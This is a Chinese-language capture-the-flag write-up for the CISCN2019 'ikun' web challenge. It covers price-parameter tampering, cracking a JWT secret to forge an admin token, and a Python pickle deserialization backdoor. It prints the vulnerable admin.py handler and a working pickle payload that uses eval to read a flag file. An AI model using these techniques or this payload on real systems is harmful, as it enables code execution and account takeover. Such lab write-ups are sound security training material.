[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

前言

kun kun勇敢飞,iKun永相随!!!!

知识点

抓包薅羊毛逻辑漏洞

我们做ctf 题时经常遇到 数值大小限制。非常经典的例子就是经常给我们1000块钱让我们买1亿块钱的东西。这个时候一般有两个思路

第一个是利用f12控制台修改前端,第一个不好使的时候我们可以考虑抓包修改参数 本题就是采用抓包修改参数的策略。

jwt破解

jwt详解传送门

jwt破解工具

dalao 的博客把jwt讲的很清楚了已经,我这就简单叙述一下我的理解。

jwt 全称 Json Web Token 是一种较安全的用于传递信息的token

jwt破解一般出现在获取授权或交换信息的情境下。

jwt由三部分组成

Header

Payload

Signnature

三部分是什么这里不详述。只谈一下jwt破解关于这三部分的思路

首先是关于Header header不变,所以抓包未破解前的jwt值base64解密获取即可

[CISCN2019 华北赛区 Day1 Web2]ikun

payload部分则是 传递数据,或伪装获取授权的位置,例如本题中要求是admin访问,我们就把username后对应的数值改为admin

[CISCN2019 华北赛区 Day1 Web2]ikun

最后signnature部分,你需要获取一个Key 这里利用jwtcracker工具

输入抓包获得的jwt得到key

例如本题

[CISCN2019 华北赛区 Day1 Web2]ikun

三部分都完成网站解密即可

python pickle 反序列化

python魔术方法拓展阅读

dalao本题wp,把pickle说的很清楚

题解

打开环境,又看到了我最爱的kunkun 心情愉悦。

看右上角有注册,注册一个账号并登录。

[CISCN2019 华北赛区 Day1 Web2]ikun

给了一千块钱 哇好多,不过这里也可以猜测又要让我们薅羊毛了QAQ

进入后援会,哇让买某站账号,提示一定要买到lv6 ,我们写个脚本搜一下。

import requests
url="http://e3b32889-def7-4684-a2df-86128aa61370.node3.buuoj.cn/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if "lv6.png" in r.text:
        print (i)
        break

[CISCN2019 华北赛区 Day1 Web2]ikun

好贵啊果然买不起,f12发现不是前端语言逻辑漏洞 抓包改参数吧

[CISCN2019 华北赛区 Day1 Web2]ikun

行了进入 提示只让admin访问

[CISCN2019 华北赛区 Day1 Web2]ikun

进行jwt破解

把username改为 admin jwt破解的过程在上文知识点里,这里不再赘述

[CISCN2019 华北赛区 Day1 Web2]ikun

在页面源码里发现了www文件下载

在admin.py里存在一个pickle后门

rom sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))#hello!!!
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

pickle反序列化的知识也在上文中这里只提供一个构造脚本

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将生成的payload传参给become

得到flag

[CISCN2019 华北赛区 Day1 Web2]ikun

上一篇:PS将鼠绘出郊野中疯狂行驶的摩托车爱好者的效果


下一篇:PS合成童话中坐在蜗牛上的小花仙子